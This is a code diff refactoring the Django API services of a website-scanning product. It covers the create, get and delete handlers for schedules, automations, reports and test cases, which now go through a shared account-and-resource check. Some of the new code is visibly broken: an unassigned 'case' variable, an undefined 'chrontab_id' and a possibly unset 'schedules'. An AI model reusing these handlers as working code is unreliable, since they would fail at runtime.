     if schedule_status != None and schedule != None:
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
         if task.enabled == True:
@@ -1710,69 +2340,45 @@ def create_or_update_schedule(request):
             schedule.status = 'Active'
         task.save() 
         schedule.save()
-        # retriving object again to avoid cacheing issues
-        schedule_new = Schedule.objects.get(id=request.data.get('schedule_id'))
     
-    # if not status change, updating data
-    else:
-        if Automation.objects.filter(schedule=schedule).exists():
-            automation = Automation.objects.filter(schedule=schedule)[0]
-            auto_id = str(automation.id)
-        else:
-            auto_id = None
-
-        if task_type == 'test':
-            task = 'api.tasks.create_test_bg'
-            arguments = {
-                'site_id': site_id,
-                'page_id': page_id,
-                'configs': configs, 
-                'type': test_type,
-                'automation_id': auto_id
-            }
-
-        if task_type == 'scan':
-            task = 'api.tasks.create_scan_bg'
-            arguments = {
-                'site_id': site_id,
-                'page_id': page_id,
-                'configs': configs,
-                'type': scan_type,
-                'automation_id': auto_id
-            }
+    # creating or updating schedule
+    if not schedule_status:
 
-        if task_type == 'report':
-            task = 'api.tasks.create_report_bg'
-            arguments = {
-                'site_id': site_id,
-                'page_id': page_id,
-                'automation_id': auto_id
-            }
+        # get automation if schedule exists
+        auto_id = None
+        if schedule:
+            if Automation.objects.filter(schedule=schedule).exists():
+                automation = Automation.objects.filter(schedule=schedule)[0]
+                auto_id = str(automation.id)
 
+        # build task
+        task = f'api.tasks.create_{task_type}_bg'
 
-        if task_type == 'testcase':
-            task = 'api.tasks.create_testcase_bg'
-            arguments = {
-                'site_id': site_id,
-                'page_id': page_id,
-                'updates': updates,
-                'configs': configs,
-                'case_id': case_id,
-                'automation_id': auto_id,
-            }
+        # build args
+        arguments = {
+            'site_id': site_id,
+            'page_id': page_id,
+            'updates': updates,
+            'configs': configs,
+            'case_id': case_id,
+            'type': scan_type if task_type == 'scan' else test_type,
+            'automation_id': auto_id
+        }
 
-        format_str = '%m/%d/%Y'
+        # setting start date default
+        begin_date = datetime.now()
         
-        try:
-            begin_date = datetime.strptime(begin_date_raw, format_str)
-        except:
-            begin_date = datetime.now()
+        # parsing begin date
+        if begin_date_raw:
+            begin_date = datetime.strptime(begin_date_raw, '%m/%d/%Y')
 
+        # building cron expression time & date
         num_day_of_week = begin_date.weekday()
         day = begin_date.strftime("%d")
         minute = time[3:5]
         hour = time[0:2]
 
+        # building cron expression freq
         if freq == 'daily':
             day_of_week = '*'
             day_of_month = '*'
@@ -1783,7 +2389,7 @@ def create_or_update_schedule(request):
             day_of_week = '*'
             day_of_month = day
 
-        
+        # deciding on scope
         if site is not None:
             url = site.site_url
             level = 'site'
@@ -1791,9 +2397,10 @@ def create_or_update_schedule(request):
             url = page.page_url
             level = 'page'
 
+        # building unique task name
+        task_name = f'{task_type}_{level}_{url}_{freq}_@{time}_{account.user.id}'
 
-        task_name = str(task_type) + '_' + str(level) + '_' + str(url) + '_' + str(freq) + '_@' + str(time) + '_' + str(account.user.id)
-
+        # building or updating chrontab 
         crontab, _ = CrontabSchedule.objects.get_or_create(
             timezone=timezone, 
             minute=minute, 
@@ -1802,8 +2409,11 @@ def create_or_update_schedule(request):
             day_of_month=day_of_month,
         )
 
+        # updating periodic task if schedule
+        periodic_task = None
         if schedule:
             if PeriodicTask.objects.filter(id=schedule.periodic_task_id).exists():
+                # update existing task
                 periodic_task = PeriodicTask.objects.filter(id=schedule.periodic_task_id)
                 periodic_task.update(
                     crontab=crontab,
@@ -1811,21 +2421,19 @@ def create_or_update_schedule(request):
                     task=task,
                     kwargs=json.dumps(arguments),
                 )
+                # get periodic task by id
                 periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-            else:
-                periodic_task = PeriodicTask.objects.create(
-                    crontab=crontab,
-                    name=task_name, 
-                    task=task,
-                    kwargs=json.dumps(arguments),
-                )
 
-        else:
+        # check if no task yet
+        if not periodic_task:
+
+            # check if task exists
             if PeriodicTask.objects.filter(name=task_name).exists():
                 data = {'reason': 'Schedule already exists',}
                 record_api_call(request, data, '401')
                 return Response(data, status=status.HTTP_401_UNAUTHORIZED)
-                
+
+            # create new periodic task 
             periodic_task = PeriodicTask.objects.create(
                 crontab=crontab, 
                 name=task_name, 
@@ -1833,6 +2441,7 @@ def create_or_update_schedule(request):
                 kwargs=json.dumps(arguments),
             )
 
+        # building extras for scheduls
         extras = {
             "configs": configs,
             "test_type": test_type,
@@ -1841,24 +2450,33 @@ def create_or_update_schedule(request):
             "updates": updates
         }
         
+        # update existing schedule
         if schedule:
-            schedule_query = Schedule.objects.filter(id=schedule_id)
-            if schedule_query.exists():
-                schedule_query.update(
-                    user=request.user, 
-                    timezone=timezone,
-                    begin_date=begin_date, 
-                    time=time, 
-                    frequency=freq,
-                    task=task, 
-                    crontab_id=crontab.id, 
-                    task_type=task_type,
-                    extras=extras, 
-                    account=account
-                )
-                schedule_new = Schedule.objects.get(id=schedule_id)
-        else:
-            schedule_new = Schedule.objects.create(
+            
+            # update each param if passed
+            if timezone:
+                schedule.timezone = timezone
+            if begin_date:
+                schedule.begin_date = begin_date 
+            if time:
+                schedule.time = time
+            if freq:
+                schedule.frequency = freq
+            if task:
+                schedule.task = task
+            if chrontab_id:
+                schedule.chrontab_id = chrontab_id
+            if task_type:
+                schedule.task_type = task_type
+            if extras:
+                schedule.extras = extras 
+            
+            # save udpdates
+            schedule.save()
+
+        # create new schedule
+        if not schedule:
+            schedule = Schedule.objects.create(
                 user=request.user, 
                 site=site,
                 page=page, 
@@ -1874,8 +2492,9 @@ def create_or_update_schedule(request):
                 account=account
             )
 
+    # serialize and return
     serializer_context = {'request': request,}
-    data = ScheduleSerializer(schedule_new, context=serializer_context).data
+    data = ScheduleSerializer(schedule, context=serializer_context).data
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -1883,59 +2502,58 @@ def create_or_update_schedule(request):
 
 
 
-def get_schedules(request):
-    user = request.user
-    account = Member.objects.get(user=user).account
+def get_schedules(request: object) -> object:
+    """ 
+    Get one or more `Schedules`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     schedule_id = request.query_params.get('schedule_id')
     site_id = request.query_params.get('site_id')
     page_id = request.query_params.get('page_id')
+    user = request.user
+    account = Member.objects.get(user=user).account
 
-    if schedule_id != None:
-        try:
-            schedule = Schedule.objects.get(id=schedule_id)
-        except:
-            data = {'reason': 'cannot find a Schedule with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        if schedule.site.account != user or schedule.account != account:
-            data = {'reason': 'cannot retrieve Schedules of a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource='schedule', page_id=page_id, site_id=site_id, 
+        schedule_id=schedule_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single schedule
+    if schedule_id:
         
+        # get schedule
+        schedule = Schedule.objects.get(id=schedule_id)
+
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = ScheduleSerializer(schedule, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
-
-    if site_id is not None:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        if site.account != account:
-            data = {'reason': 'cannot retrieve Schedules of a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
+    
+    # get all site scoped schedules
+    if site_id:
+        site = Site.objects.get(id=site_id)
         schedules = Schedule.objects.filter(site=site).order_by('-time_created')
     
-    if page_id is not None:
-        try:
-            page = Page.objects.get(id=page_id)
-        except:
-            data = {'reason': 'cannot find a Page with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        if page.account != account:
-            data = {'reason': 'cannot retrieve Schedules of a Page you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
+    # get all page scoped schedules
+    if page_id:
+        page = Page.objects.get(id=page_id)
         schedules = Schedule.objects.filter(page=page).order_by('-time_created')
-        
+    
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(schedules, request)
     serializer_context = {'request': request,}
@@ -1947,27 +2565,78 @@ def get_schedules(request):
 
 
 
-def delete_schedule(request, id):
+def get_schedule(request: object, id: str) -> object:
+    """
+    Get single `Schedule` from the passed "id"
 
-    try:
-        schedule = Schedule.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Schedule with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
 
-    task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        schedule_id=id, resource='schedule'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get schedule if checks passed
+    schedule = Schedule.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = ScheduleSerializer(schedule, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_schedule(request: object, id: str) -> object:
+    """ 
+    Deletes the `Schedule` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
     user = request.user
     account = Member.objects.get(user=user).account
 
-    if schedule.account != account:
-        data = {'reason': 'delete Schedules you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, schedule_id=id, resource='schedule')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get schedule and task if checks passed
+    schedule = Schedule.objects.get(id=id)
+    task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
 
+    # delete schedule
     schedule.delete()
+
+    # delete task
     task.delete()
 
+    # return response
     data = {'message': 'Schedule has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -1976,81 +2645,123 @@ def delete_schedule(request, id):
 
 
 
+def delete_tasks(page: object=None, site: object=None) -> None:
+    """ 
+    Helper function to delete any `Schedules` & `PerodicTasks`
+    associated with the passed "site" or "page"
 
+    Expects: {
+        'page': object, 
+        'site': object
+    }
+
+    Returns -> None
+    """ 
 
-def delete_tasks(page=None, site=None):
     # get any schedules
-    if page is not None:
+    if page:
         schedules = Schedule.objects.filter(page=page)
-    if site is not None:
+    if site:
         schedules = Schedule.objects.filter(site=site)
+
     # remove any associated tasks
     for schedule in schedules:
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
         task.delete()
-    return
+    
+    return None
+
+
+
+
+### ------ Begin Automation Services ------ ###
 
 
 
 
-def create_or_update_automation(request):
+def create_or_update_automation(request: object) -> object:
+    """ 
+    Creates or Updates an `Automation` 
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get request data
+    actions = request.data.get('actions')
+    site_id = request.data.get('site_id')
+    page_id = request.data.get('page_id')
+    schedule_id = request.data.get('schedule_id')
+    automation_id = request.data.get('automation_id')
+    name = request.data.get('name')
+    expressions = request.data.get('expressions')
+
+    # set defaults
+    automation = None
+    schedule = None
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(request=request)
+    # deciding on recsource
+    resource = 'automation' if automation_id else 'schedule'
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource=resource, 
+        automation_id=automation_id, schedule_id=schedule_id, 
+        site_id=site_id, page_id=page_id
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
-    try:
-        schedule = Schedule.objects.get(id=request.data.get('schedule_id'))
-        try:
-            automation = Automation.objects.get(id=schedule.automation.id)
-            if automation.account != account and automation.account != None:
-                data = {'reason': 'You cannot update a Automation you do not own',}
-                record_api_call(request, data, '403')
-                return Response(data, status=status.HTTP_403_FORBIDDEN)
-        except:
-            automation = None
-        if schedule.account != account and schedule.account != None:
-            data = {'reason': 'You cannot create a Automation of a Schedule you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    except:
-        schedule = None
-        automation = None
-
-    # get data 
-    name = request.data.get('name')
-    expressions = request.data.get('expressions')
-    actions = request.data.get('actions')
-    site_id = request.data.get('site_id')
-    page_id = request.data.get('page_id')
+    # get schedule if checks passed
+    if schedule_id:
+        schedule = Schedule.objects.get(id=schedule_id)
+    if automation_id:
+        automation = Automation.objects.get(id=automation_id)
 
+    # update existing automation
     if automation:
-        automation.name = name
-        automation.expressions = expressions
-        automation.actions = actions
-        automation.schedule = schedule
+        if name:
+            automation.name = name
+        if expressions:
+            automation.expressions = expressions
+        if actions:
+            automation.actions = actions
+        if schedule:
+            automation.schedule = schedule
+        # save updates
         automation.save()
 
+    # create new automation
     if not automation:
         automation = Automation.objects.create(
             name=name, 
             expressions=expressions, 
             actions=actions,
             schedule=schedule, 
-            user=request.user, 
+            user=user, 
             account=account
         )
 
+    # update schedule 
     if schedule:
+
+        # update schedule with new automation
         schedule.automation = automation
         schedule.save()
+
         # update associated periodicTask
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
         
+        # get associated page or site id
         site_id = None
         if schedule.site is not None:
             site_id = str(schedule.site.id)
@@ -2058,18 +2769,20 @@ def create_or_update_automation(request):
         if schedule.page is not None:
             page_id = str(schedule.page.id)
 
+        # update periodic task
         arguments = {
             'site_id': site_id,
             'page_id': page_id,
             'automation_id': str(automation.id),
-            'configs': json.loads(task.kwargs).get('configs', None), 
-            'type': json.loads(task.kwargs).get('type', None),
-            'case_id': json.loads(task.kwargs).get('case_id', None),
-            'updates': json.loads(task.kwargs).get('updates', None)
+            'configs': json.loads(task.kwargs).get('configs'), 
+            'type': json.loads(task.kwargs).get('type'),
+            'case_id': json.loads(task.kwargs).get('case_id'),
+            'updates': json.loads(task.kwargs).get('updates')
         }
         task.kwargs=json.dumps(arguments)
         task.save()
 
+    # serialize and return
     serializer_context = {'request': request,}
     data = AutomationSerializer(automation, context=serializer_context).data
     record_api_call(request, data, '200')
@@ -2078,28 +2791,51 @@ def create_or_update_automation(request):
 
     
 
-def get_automations(request):
+
+def get_automations(request: object) -> object:
+    """ 
+    Get one or more `Automations`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     automation_id = request.query_params.get('automation_id')
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    if automation_id != None:        
-        try:
-            automation = Automation.objects.get(id=automation_id)
-        except:
-            data = {'reason': 'cannot find a Automation with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        if automation.account != account:
-            data = {'reason': 'cannot retrieve an Automation you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource='automation', automation_id=automation_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single automation
+    if automation_id:        
+        
+        # get automation
+        automation = Automation.objects.get(id=automation_id)
+        
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = AutomationSerializer(automation, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
     
-    automations = Automation.objects.filter(user=user).order_by('-time_created')
+    # get all automations associated with account
+    automations = Automation.objects.filter(account=account).order_by('-time_created')
+
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(automations, request)
     serializer_context = {'request': request,}
@@ -2110,24 +2846,75 @@ def get_automations(request):
 
 
 
-def delete_automation(request, id):
+
+def get_automation(request: object, id: str) -> object:
+    """
+    Get single `Automation` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    try:
-        automation = Automation.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Automation with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-    if automation.account != account:
-        data = {'reason': 'delete an automation you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        automation_id=id, resource='automation'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get automation if checks passed
+    automation = Automation.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = AutomationSerializer(automation, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
 
+
+
+def delete_automation(request: object, id: str) -> object:
+    """ 
+    Deletes the `Automation` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, automation_id=id, resource='automation')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get automation if checks passed
+    automation = Automation.objects.get(id=id)
+
+    # delete automation
     automation.delete()
 
+    # return response
     data = {'message': 'Automation has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -2136,63 +2923,103 @@ def delete_automation(request, id):
 
 
 
+### ------ Begin Report Services ------ ###
 
 
 
 
+def create_or_update_report(request: object) -> object:
+    """ 
+    Creates or Updates an `Report` 
 
-def create_or_update_report(request):
-
-    user = request.user
-    account = Member.objects.get(user=user).account
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
 
-    report_id = request.data.get('report_id', None)
-    page_id = request.data.get('page_id', None)
+    # get request data
+    report_id = request.data.get('report_id')
+    page_id = request.data.get('page_id')
     report_type = request.data.get('type', ['lighthouse', 'yellowlab'])
     text_color = request.data.get('text_color', '#24262d')
     background_color = request.data.get('background_color', '#e1effd')
     highlight_color = request.data.get('highlight_color', '#4283f8')
-    page = Page.objects.get(id=page_id)
 
+    # set defaults
+    report = None
+    page = None
+    
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='report', 
+        report_id=report_id, page_id=page_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get page if checks passed
+    if page_id:    
+        page = Page.objects.get(id=page_id)
+    # get report if checks passed
+    if report_id:
+        report = Report.objects.get(id=report_id)
+
+    # build report info
     info = {
         "text_color": text_color,
         "background_color": background_color,
         "highlight_color": highlight_color,
     }
     
-    if report_id:
-        try:
-            report = Report.objects.get(id=report_id)
-        except:
-            data = {'reason': 'cannot find a Report with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if report.account != account:
-            data = {'reason': 'update a Report you do not own'}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    
-    else:
+    # update report
+    if report:
+        if info:
+            report.info = info
+        if report_type:
+            report.type = report_type
+        # save updates
+        report.save()
+        
+    # create new report
+    if not report:
         report = Report.objects.create(
             user=request.user, 
             page=page, 
-            account=account
+            site=page.site, 
+            account=account,
+            info=info,
+            type=report_type
         )
-
-    # update report data
-    report.info = info
-    report.type = report_type
-    report.save()
+    
+    # get uncached report 
     un_cached_report = Report.objects.get(id=report.id)
 
-
     # generate report
-    updated_report = R(report=un_cached_report).make_test_report()
-
+    report_data = R(report=un_cached_report).generate_report()
 
+    # serialize report
     serializer_context = {'request': request,}
-    data = ReportSerializer(updated_report, context=serializer_context).data
+    new_report = ReportSerializer(
+        report_data['report'], 
+        context=serializer_context
+    ).data
+
+    # format return data
+    data = {
+        'report': new_report,
+        'success': report_data['success'],
+        'message': report_data['message']
+    }
+
+    # serialize and return
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response
@@ -2200,34 +3027,58 @@ def create_or_update_report(request):
 
 
 
+def get_reports(request: object) -> object:
+    """ 
+    Get one or more `Reports`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
 
-def get_reports(request):
+    # get request data
     page_id = request.query_params.get('page_id', None)
     report_id = request.query_params.get('report_id', None)
+    
+    # get user and account
     user = request.user 
     account = Member.objects.get(user=user).account
 
-    if page_id:
-        try:
-            page = Page.objects.get(id=page_id)
-            reports = Report.objects.filter(page=page, account=account).order_by('-time_created')
-        except:
-            data = {'reason': 'cannot find a Page with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource='report', report_id=report_id,
+        page_id=page_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
+    # get single report
     if report_id:
-        try:
-            report = Report.objects.get(id=report_id)
-        except:
-            data = {'reason': 'cannot find a Report with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        
+        # get report
+        report = Report.objects.get(id=report_id)
+
+        # serialize and return
+        serializer_context = {'request': request,}
+        serialized = ReportSerializer(report, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+
+    # get reports scoped to page if checks passed
+    if page_id:
+        page = Page.objects.get(id=page_id)
+        reports = Report.objects.filter(page=page, account=account).order_by('-time_created')
 
+    # get reports scoped to user if checks passed
     if page_id is None and report_id is None:
         reports = Report.objects.filter(user=request.user).order_by('-time_created')
 
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(reports, request)
     serializer_context = {'request': request,}
@@ -2235,33 +3086,81 @@ def get_reports(request):
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
-    
-    
 
 
 
-def delete_report(request, id):
-    user = request.user
-    account = Member.objects.get(user=user).account
 
-    try:
-        report = Report.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Report with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
+def get_report(request: object, id: str) -> object:
+    """
+    Get single `Report` from the passed "id"
 
-    if report.account != account:
-        data = {'reason': 'delete Reports you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
 
-    # remove s3 objects
-    delete_report_s3_bg.delay(report_id=id)
-    
-    # remove report
-    report.delete()
+    Returns -> HTTP Response object
+    """
 
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+       report_id=id, resource='report'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get report if checks passed
+    report = Report.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = ReportSerializer(report, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_report(request: object, id: str) -> object:
+    """ 
+    Deletes the `Report` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, report_id=id, resource='report')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get report if checks passed
+    report = Report.objects.get(id=id)
+
+    # remove s3 objects
+    delete_report_s3_bg.delay(report_id=id)
+    
+    # remove report
+    report.delete()
+
+    # return reponse
     data = {'message': 'Report has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -2270,9 +3169,18 @@ def delete_report(request, id):
 
 
 
+def export_report(request: object) -> object:
+    """
+    Used to create and send a Scanerr.landing 
+    `Report` to the passed "email"  
 
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
 
-def export_report(request):
     # getting data from request
     report_id = request.data.get('report_id')
     email = request.data.get('email')
@@ -2298,94 +3206,78 @@ def export_report(request):
 
 
 
+### ------ Begin Cases Services ------ ###
 
 
 
-def save_case_steps(steps, steps_id):
-    # setup boto3 configurations
-    s3 = boto3.client(
-        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    # saving as json file temporarily
-    with open(f'{steps_id}.json', 'w') as fp:
-        json.dump(steps, fp)
-    
-    # seting up paths
-    steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json')
-    remote_path = f'static/cases/steps/{steps_id}.json'
-    root_path = settings.AWS_S3_URL_PATH
-    steps_url = f'{root_path}/{remote_path}'
-
-    # upload to s3
-    with open(steps_file, 'rb') as data:
-        s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-        )
 
-    # remove local copy
-    os.remove(steps_file)
+def create_or_update_case(request: object) -> object:
+    """ 
+    Creates or Updates a `Report` 
 
-    return {
-        'num_steps': len(steps),
-        'url': steps_url
+    Expects: {
+        'request': object
     }
+    
+    Returns -> HTTP Response object
+    """
 
-
-
-
-def create_or_update_case(request):
+    # get request data
     case_id = request.data.get('case_id')
     steps = request.data.get('steps')
     site_url = request.data.get('site_url')
     name = request.data.get('name')
     tags = request.data.get('tags')
     _type = request.data.get('type')
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
+
+    # setting defaults
     site = None
 
-    check_data = check_account(request=request)
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='case', 
+        case_id=case_id
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get site if site_url passed
+    if site_url:
+        if Site.objects.filter(account=account, site_url=site_url).exists():
+            site = Site.objects.filter(account=account, site_url=site_url)[0]
 
+    # get case if checks passed
     if case_id:
-        try:
-            case = Case.objects.get(id=case_id)
-        except:
-            data = {'reason': 'cannot find a Case with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-        if case.account != account:
-            data = {'reason': 'cannot retrieve Cases you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        else:
-            if steps is not None:
-                steps_data = save_case_steps(steps, case_id)
-                case.steps = steps_data
-            if name is not None:
-                case.name = name
-            if tags is not None:
-                case.tags = tags
-            case.save()
+        case = Case.objects.get(id=case_id)
+
+    # udpate case   
+    if case:
+        if steps is not None:
+            steps_data = save_case_steps(steps, case_id)
+            case.steps = steps_data
+        if name is not None:
+            case.name = name
+        if tags is not None:
+            case.tags = tags
+        # save updates
+        case.save()
     
-    else:
+    # create case
+    if not case:
+
+        # generate new uuid
         case_id = uuid.uuid4()
+
+        # save step data in s3
         steps_data = save_case_steps(steps, case_id)
         
-        if site_url is not None:
-            try:
-                site = Site.objects.filter(account=account, site_url=site_url)[0]
-            except:
-                pass
-
+        # create new case
         case = Case.objects.create(
             id = case_id,
             user = request.user,
@@ -2397,7 +3289,7 @@ def create_or_update_case(request):
             account = account
         )
 
-
+    # serialize and return
     serializer_context = {'request': request,}
     data = CaseSerializer(case, context=serializer_context).data
     record_api_call(request, data, '201')
@@ -2407,70 +3299,180 @@ def create_or_update_case(request):
 
 
 
-def get_cases(request):
+def save_case_steps(steps: dict, steps_id: str) -> dict:
+    """ 
+    Helper function that uploads the "steps" data to 
+    s3 bucket
+
+    Expects: {
+        'steps'   : dict, 
+        'step_id' : str
+    }
+
+    Returns -> data: {
+        'num_steps' : int,
+        'url'       : str
+    }
+    """
